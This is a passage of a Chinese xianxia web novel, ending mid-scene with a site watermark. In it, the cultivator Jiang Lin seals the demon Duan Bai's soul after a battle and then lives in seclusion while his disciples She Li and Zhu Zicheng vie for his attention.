江林持剑挡住,剑刃上的火焰蚕食着他的身体,噼里啪啦地燃烧着他。 江林脖子被掐住, 被他拽入阵法中,重焰闪身而来,抢走了段白手中的江林。 “你听话, 停下这无用的阵法,我来帮你杀了他。”重焰攥住他的手腕,眼神紧紧盯着他。 江林手中灵气聚集,朝着他狠狠打去,他借力飞出阵法之外,眼底闪烁着嘲弄的笑容:“重焰,你还要装到何时?你不就是段白吗?” 两人的表情都变得有些扭曲不自然,似乎没想到他居然发现了这一事实。 江林勾起唇,段白以为只要他被杀死,那么顺理成章地他能以重焰的身份活下来,神不知鬼不觉地待在江林身边。 “你身上那股恶心的味道差点让我吐了,你觉得伪装得很好吗?”江林淡淡一笑。 他五指虚握,灵气再次从四面八方席卷而来,以旋涡的形式承接贯穿身体的灵气,他的身体为媒介,阵法的古老阵纹在不断闪烁,隐隐约约,段白和重焰对视一眼同时汇聚魔气,朝着江林冲去。 江林身体遭受着两股气息的侵蚀,隐隐泛出白光的灵气以及暗色的魔气以对抗的姿态在他的身体里厮杀,经脉寸寸剧痛。他控制不住地七窍流血,却在咬牙支撑,强忍疼痛十指结印,额间金色莲花印泛起血色,交错几个阵印做得艰难无比,却勉强完成。 只见那原本被魔气遮蔽的昏暗天空,出现了丝丝金光,破空而来,一片片分裂着黑暗,黑云初破,阵法不断缩小,魔气被一点点蚕食。两人的身形汇聚成了一人,他站在阵法中,双眼猩红地盯着更加狼狈的江林。 “你便这般恨我?”这个畜生似乎还在怀疑江林对他的恨意。 江林懒得再回答他的话,双手发颤,最后一次结印,阵法中燃起了凤凰火,漫天的火光乍现。 江林看着他被逼出原形,看着他奄奄一息,神魂却并未消失,凤凰火可以燃烧魔气,却无法烧毁段白的神魂,他早有预料,以屠魔珠囚禁他的神魂,直到新任魔帝出世,他再慢慢炼化那畜牲的神魂。 他攥住那颗珠子,身形飘然从空中坠落,一条玄蛇叼住他的身体,消失在天际 人魔大战休止,那所谓的仙器也并不存在,只是玄冥魔帝捏造的傀儡魔人,导致他们有了这些错觉。 但修士和魔界都元气大伤,短期内再不会主动挑起战争。 那场大战,人族修士沾沾自喜,“我们杀入了魔界腹地,杀得他们片甲不留,投降认输。” 魔族也同样挺起胸膛:“哼,如果不是魔帝昏庸,我们早就占领了修真界,那些无耻小人哪里是我们的对手。” 玉溯宗的清树真君从此消失在众人视野中,只有冰雪之巅,破落小门派飞雪宗之中,一名姓江的废物弟子,日日苦修,不分昼夜。 “师尊”佘离出现在江林院中,四面漏风显得简陋不堪,飞雪携着霜气,进入本就冰冷的屋内,吹的人脸颊生疼。 江林闭着眼在榻上打坐,蹙眉打断他的话:“我早已不是你师尊,我如今只是一个练气期的修士而已。” 佘离神情一暗,主动窝在他腿边,脑袋枕着他的膝盖,“我也早说过,您永远是我的恩师。” 段白没死,神魂被囚于屠魔球内,日日遭受炼狱的痛苦,所以两人身上的契约没解,他也不会死,只是那场大战,让他的修为倒退,伤及根基,需要重新修炼。 而如今段白在江林身上设的咒术也解开了,他本就不是灵炉体质,所以现在也并不需要什么男人来解毒,他的这些徒儿就显得累赘了。 他不欲再与他们纠缠。 但似乎甩不掉。 江林身体内依旧有魔气残留,需要在冰雪之巅才能勉强压制住,现在在疗伤也是修炼。 “师尊,你就徒儿伴在您身侧吧,您就当我是只你养的畜生可好?”佘离眼圈泛红,手抱着师尊的腰,语气卑微委屈。 江林沉默以待。 “师尊,别扔下我。”佘离在魔界那一遭,如今修为都还未完全修复,脖颈处的蛇鳞还迟迟未曾消退,是当放血折磨太甚。 江林眉梢蹙着,声音冷淡带着叹息:“我如今已没什么可以教你的了。” “师尊,知道的,我所求也并非如此。”佘离望着江林垂下的冷淡视线。 “其他的,我也给不了。”江林好不容易重新掌握了身体和意志的自由,暂时不想考虑其他的事情。 “没关系,我只要师尊不赶我走就好了。”佘离撑着手臂,平视江林的双眼:“您若不同意,我绝不会做您不开心的事儿。” 江林静静看了他几秒,扫开他的手:“随你吧。” “现在出去。” 佘离听话地滚了出去。 玄镜出现在屋内,抱着手臂眼神阴沉地看着他:“你又心软了。” “你觉得他真的会这么听话吗?”玄镜唇角勾起冷淡的笑。 江林没回答他的问题,段白被囚后,他的完整记忆出现,他本就是这个世界的江林。他的三个徒弟天赋极高,虽身负血海深仇,却并未伤害过他,相反被他所连累,曾经尸骨无存,死相极惨。 而主神的位置被系统所替代,暗中解除了他和系统的关联,有了系统的掩护,他才得以安然无恙。 他手中出现一枚蛋,里面是等待涅槃重生的赵天肃,只是不知道多久才能够修回人身了。 江林想反正带两个也是带吧,无所谓了。 而佘离出现在山脚山洞中,看着被他绑起来的朱子澄,他居高临下地看着他:“滚出雪山。” “佘离你什么意思?”朱子澄气得满脸通红,瞪着他。 “意思是你没资格当师尊的徒儿,也没资格出现在师尊面前。”佘离在江林面前装出来的乖巧在此刻被狠狠撕碎,他眼神不含半点师兄弟情分。 “等你什么时候能够打败我了,再来吧。”佘离眼神轻慢地看着他,“像你这种只会拖后腿的人,我看了心烦。” “不想死就滚。”佘离冷漠看着朱子澄,并未在说笑,他真的会神不知鬼不觉地杀死这个小师弟的。 朱子澄被佘离扔出了雪山,他双拳紧握,只能离开雪山,却发誓一定会揍死那条臭蛇! 江林难得获得了平静,成为飞雪宗平凡的弟子,亦步亦趋地修炼,时不时生出闲心也会下山在酒楼小酌两杯,不必被所谓的任务缠身,也不需要提心吊胆地计算什么时候会死,不必处心积虑地完成恶心的任务。 他想做什么便做什么。 这日子过得实在畅快,那日筑基,江林心情便更好了,十年筑基已是不错的成绩,对于江林这个曾经元婴的真君来说,虽显得微不足道,但他也极为开心,那日便在酒楼多喝了两杯。 佘离没敢打扰他的好心情,只是在他喝醉后才敢出现,揽着他的肩膀,带他回宗门。 江林醉酒后,穿着的狐裘都显得热了,雪白的容貌衬得他酡红的脸颊醉意更甚了,双眼迷离,眉眼间的醉态好似春日里的风般勾着人的衣角不准离开,那冰雪的容貌也融化了两分,窥见一丝春色。 佘离没忍住看呆了些,喉结滚动,欲念缠身,他手指勾着师尊的下巴,低声问:“师尊,我能亲你吗?” 却不等江林回答,自顾自地吻上他的唇。 江林昏昏沉沉没躲开,后知后觉地发现自己已经分开佘离的腿,他双眼恢复一丝清明,倒也没有矫情拒绝,十年间他也是有欲望的,佘离抱着师尊的脖子,吻住他的脖子。 玄镜如同鬼魅般出现两人身后,阴沉的视线几乎要剥掉佘离的蛇皮。 佘离自顾自地笑着,声音破碎喘息着挑衅:“玄镜前辈看在我年纪小的份上,让让我吧” 玄镜气得脸都红了,只能惊叹佘离的不要脸。 那天之后,两人的关系并未改变,佘离很少出现在江林面前,通常喜欢以缩小版的原型蜗居在江林的床榻之下,安静陪伴,默默解决了很多麻烦,让师尊能够享受他想要的自由。 后来,朱子澄来挑战他,佘离不敌那来势汹汹的师弟,差点被砍断了尾巴,还是江林阻止了两人的暴行。 朱子澄委屈得掉眼泪,佘离用可怜的眼神吐血,赵天肃还是个鸟蛋。 江林脾气不好,命令玄镜将两人都扔出了雪山。 两人互相指责谩骂,在寻找师尊院内时,发现人去楼空,师尊扔下两人,下山历练去了。 这下两人大打出手再无顾忌,最终两败俱伤,分道扬镳。 千里之外的渔村,来了一位垂垂老矣的白发老人,每日出海钓鱼,乘月而归魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&